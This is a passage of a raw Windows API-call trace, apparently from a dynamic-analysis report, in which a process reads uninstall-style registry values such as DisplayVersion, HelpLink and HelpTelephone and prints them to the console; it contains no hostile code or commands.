(HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.686] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x16 | out: pdwType=0x29f700*=0x1, pvData="2.1.71.14", pcbData=0x29f780*=0x14) returned 0x0 [0149.686] __iob_func () returned 0x7fefd702a80 [0149.686] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.686] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.686] _fileno (_File=0x7fefd702ab0) returned 1 [0149.686] _errno () returned 0x204bb0 [0149.686] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.686] _errno () returned 0x204bb0 [0149.686] GetFileType (hFile=0x50) returned 0x1 [0149.686] lstrlenW (lpString=" ") returned 4 [0149.686] GetConsoleOutputCP () returned 0x1b5 [0149.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.686] GetConsoleOutputCP () returned 0x1b5 [0149.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.686] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.686] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.686] lstrlenW (lpString="DisplayVersion") returned 14 [0149.686] __iob_func () returned 0x7fefd702a80 [0149.686] _fileno (_File=0x7fefd702ab0) returned 1 [0149.686] _errno () returned 0x204bb0 [0149.686] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.686] _errno () returned 0x204bb0 [0149.686] GetFileType (hFile=0x50) returned 0x1 [0149.687] lstrlenW (lpString="DisplayVersion") returned 14 [0149.687] GetConsoleOutputCP () returned 0x1b5 [0149.687] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.687] GetConsoleOutputCP () returned 0x1b5 [0149.687] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.687] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.687] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.687] __iob_func () returned 0x7fefd702a80 [0149.687] _fileno (_File=0x7fefd702ab0) returned 1 [0149.687] _errno () returned 0x204bb0 [0149.687] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.687] _errno () returned 0x204bb0 [0149.687] GetFileType (hFile=0x50) returned 0x1 [0149.687] lstrlenW (lpString=" ") returned 4 [0149.688] GetConsoleOutputCP () returned 0x1b5 [0149.688] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.688] GetConsoleOutputCP () returned 0x1b5 [0149.688] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.688] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.688] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.688] __iob_func () returned 0x7fefd702a80 [0149.688] _fileno (_File=0x7fefd702ab0) returned 1 [0149.688] _errno () returned 0x204bb0 [0149.688] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.688] _errno () returned 0x204bb0 [0149.688] GetFileType (hFile=0x50) returned 0x1 [0149.688] lstrlenW (lpString="REG_SZ") returned 6 [0149.688] GetConsoleOutputCP () returned 0x1b5 [0149.688] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.688] GetConsoleOutputCP () returned 0x1b5 [0149.688] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.688] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.688] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.689] __iob_func () returned 0x7fefd702a80 [0149.689] _fileno (_File=0x7fefd702ab0) returned 1 [0149.689] _errno () returned 0x204bb0 [0149.689] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.689] _errno () returned 0x204bb0 [0149.689] GetFileType (hFile=0x50) returned 0x1 [0149.689] lstrlenW (lpString=" ") returned 4 [0149.689] GetConsoleOutputCP () returned 0x1b5 [0149.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.689] GetConsoleOutputCP () returned 0x1b5 [0149.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.689] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.689] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.689] __iob_func () returned 0x7fefd702a80 [0149.689] _fileno (_File=0x7fefd702ab0) returned 1 [0149.689] _errno () returned 0x204bb0 [0149.689] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.689] _errno () returned 0x204bb0 [0149.689] GetFileType (hFile=0x50) returned 0x1 [0149.689] lstrlenW (lpString="2.1.71.14") returned 9 [0149.689] GetConsoleOutputCP () returned 0x1b5 [0149.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="2.1.71.14", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.690] GetConsoleOutputCP () returned 0x1b5 [0149.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="2.1.71.14", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2.1.71.14", lpUsedDefaultChar=0x0) returned 9 [0149.690] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.690] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.690] __iob_func () returned 0x7fefd702a80 [0149.690] _fileno (_File=0x7fefd702ab0) returned 1 [0149.690] _errno () returned 0x204bb0 [0149.690] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.690] _errno () returned 0x204bb0 [0149.690] GetFileType (hFile=0x50) returned 0x1 [0149.690] lstrlenW (lpString="\n") returned 1 [0149.690] GetConsoleOutputCP () returned 0x1b5 [0149.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.690] GetConsoleOutputCP () returned 0x1b5 [0149.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.690] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.690] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.690] GetProcessHeap () returned 0x3c0000 [0149.690] GetProcessHeap () returned 0x3c0000 [0149.691] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.691] GetProcessHeap () returned 0x3c0000 [0149.691] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.691] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.691] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.691] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.691] GetProcessHeap () returned 0x3c0000 [0149.691] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.691] GetProcessHeap () returned 0x3c0000 [0149.691] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.691] GetProcessHeap () returned 0x3c0000 [0149.691] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.691] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.691] __iob_func () returned 0x7fefd702a80 [0149.691] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.691] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.691] _fileno (_File=0x7fefd702ab0) returned 1 [0149.691] _errno () returned 0x204bb0 [0149.691] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.691] _errno () returned 0x204bb0 [0149.691] GetFileType (hFile=0x50) returned 0x1 [0149.691] lstrlenW (lpString=" ") returned 4 [0149.691] GetConsoleOutputCP () returned 0x1b5 [0149.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.691] GetConsoleOutputCP () returned 0x1b5 [0149.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.691] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.692] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.692] lstrlenW (lpString="HelpLink") returned 8 [0149.692] __iob_func () returned 0x7fefd702a80 [0149.692] _fileno (_File=0x7fefd702ab0) returned 1 [0149.692] _errno () returned 0x204bb0 [0149.692] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.692] _errno () returned 0x204bb0 [0149.692] GetFileType (hFile=0x50) returned 0x1 [0149.692] lstrlenW (lpString="HelpLink") returned 8 [0149.692] GetConsoleOutputCP () returned 0x1b5 [0149.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.692] GetConsoleOutputCP () returned 0x1b5 [0149.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0149.692] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.692] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.692] __iob_func () returned 0x7fefd702a80 [0149.692] _fileno (_File=0x7fefd702ab0) returned 1 [0149.692] _errno () returned 0x204bb0 [0149.692] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.692] _errno () returned 0x204bb0 [0149.692] GetFileType (hFile=0x50) returned 0x1 [0149.692] lstrlenW (lpString=" ") returned 4 [0149.692] GetConsoleOutputCP () returned 0x1b5 [0149.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.693] GetConsoleOutputCP () returned 0x1b5 [0149.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.693] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.693] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.693] __iob_func () returned 0x7fefd702a80 [0149.693] _fileno (_File=0x7fefd702ab0) returned 1 [0149.693] _errno () returned 0x204bb0 [0149.693] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.693] _errno () returned 0x204bb0 [0149.693] GetFileType (hFile=0x50) returned 0x1 [0149.693] lstrlenW (lpString="REG_SZ") returned 6 [0149.693] GetConsoleOutputCP () returned 0x1b5 [0149.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.693] GetConsoleOutputCP () returned 0x1b5 [0149.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.693] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.693] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.693] __iob_func () returned 0x7fefd702a80 [0149.693] _fileno (_File=0x7fefd702ab0) returned 1 [0149.694] _errno () returned 0x204bb0 [0149.694] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.694] _errno () returned 0x204bb0 [0149.694] GetFileType (hFile=0x50) returned 0x1 [0149.694] lstrlenW (lpString=" ") returned 4 [0149.694] GetConsoleOutputCP () returned 0x1b5 [0149.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.694] GetConsoleOutputCP () returned 0x1b5 [0149.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.694] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.694] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.694] __iob_func () returned 0x7fefd702a80 [0149.694] _fileno (_File=0x7fefd702ab0) returned 1 [0149.694] _errno () returned 0x204bb0 [0149.694] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.694] _errno () returned 0x204bb0 [0149.694] GetFileType (hFile=0x50) returned 0x1 [0149.694] lstrlenW (lpString="") returned 0 [0149.694] __iob_func () returned 0x7fefd702a80 [0149.694] _fileno (_File=0x7fefd702ab0) returned 1 [0149.694] _errno () returned 0x204bb0 [0149.694] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.694] _errno () returned 0x204bb0 [0149.694] GetFileType (hFile=0x50) returned 0x1 [0149.694] lstrlenW (lpString="\n") returned 1 [0149.694] GetConsoleOutputCP () returned 0x1b5 [0149.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.695] GetConsoleOutputCP () returned 0x1b5 [0149.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.695] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.695] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.695] GetProcessHeap () returned 0x3c0000 [0149.695] GetProcessHeap () returned 0x3c0000 [0149.695] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.695] GetProcessHeap () returned 0x3c0000 [0149.695] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.695] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.695] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.695] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.695] GetProcessHeap () returned 0x3c0000 [0149.695] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.695] GetProcessHeap () returned 0x3c0000 [0149.695] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.695] GetProcessHeap () returned 0x3c0000 [0149.695] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.695] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.695] __iob_func () returned 0x7fefd702a80 [0149.695] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.695] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.695] _fileno (_File=0x7fefd702ab0) returned 1 [0149.695] _errno () returned 0x204bb0 [0149.695] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.695] _errno () returned 0x204bb0 [0149.695] GetFileType (hFile=0x50) returned 0x1 [0149.696] lstrlenW (lpString=" ") returned 4 [0149.696] GetConsoleOutputCP () returned 0x1b5 [0149.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.696] GetConsoleOutputCP () returned 0x1b5 [0149.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.696] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.696] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.696] lstrlenW (lpString="HelpTelephone") returned 13 [0149.696] __iob_func () returned 0x7fefd702a80 [0149.696] _fileno (_File=0x7fefd702ab0) returned 1 [0149.696] _errno () returned 0x204bb0 [0149.696] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.696] _errno () returned 0x204bb0 [0149.696] GetFileType (hFile=0x50) returned 0x1 [0149.696] lstrlenW (lpString="HelpTelephone") returned 13 [0149.696] GetConsoleOutputCP () returned 0x1b5 [0149.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.696] GetConsoleOutputCP () returned 0x1b5 [0149.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0149.696] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.696] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.697] __iob_func () returned 0x7fefd702a80 [0149.697] _fileno (_File=0x7fefd702ab0) returned 1 [0149.697] _errno () returned 0x204bb0 [0149.697] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.697] _errno () returned 0x204bb0 [0149.697] GetFileType (hFile=0x50) returned 0x1 [0149.697] lstrlenW (lpString=" ") returned 4 [0149.697] GetConsoleOutputCP () returned 0x1b5 [0149.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.697] GetConsoleOutputCP () returned 0x1b5 [0149.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.697] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.697] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.697] __iob_func () returned 0x7fefd702a80 [0149.697] _fileno (_File=0x7fefd702ab0) returned 1 [0149.697] _errno () returned 0x204bb0 [0149.697] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.697] _errno () returned 0x204bb0 [0149.697] GetFileType (hFile=0x50) returned 0x1 [0149.697] lstrlenW (lpString="REG_SZ") returned 6 [0149.698] GetConsoleOutputCP () returned 0x1b5 [0149.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.698] GetConsoleOutputCP () returned 0x1b5 [0149.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.698] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.698] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.698] __iob_func () returned 0x7fefd702a80 [0149.698] _fileno (_File=0x7fefd702ab0) returned 1 [0149.698] _errno () returned 0x204bb0 [0149.698] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.698] _errno () returned 0x204bb0 [0149.698] GetFileType (hFile=0x50) returned 0x1 [0149.698] lstrlenW (lpString=" ") returned 4 [0149.698] GetConsoleOutputCP () returned 0x1b5 [0149.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.698] GetConsoleOutputCP () returned 0x1b5 [0149.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.698] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.698] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.699] __iob_func () returned 0x7fefd702a80 [0149.699] _fileno (_File=0x7fefd702ab0) returned 1 [0149.699] _errno () returned 0x204bb0 [0149.699] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.699] _errno () returned 0x204bb0 [0149.699] GetFileType (hFile=0x50) returned 0x1 [0149.699] lstrlenW (lpString="") returned 0 [0149.699] __iob_func () returned 0x7fefd702a80 [0149.699] _fileno (_File=0x7fefd702ab0) returned 1 [0149.699] _errno () returned 0x204bb0 [0149.699] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.699] _errno () returned 0x204bb0 [0149.699] GetFileType (hFile=0x50) returned 0x1 [0149.699] lstrlenW (lpString="\n") returned 1 [0149.699] GetConsoleOutputCP () returned 0x1b5 [0149.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.699] GetConsoleOutputCP () returned 0x1b5 [0149.699] WideCharToMultiByte (in: 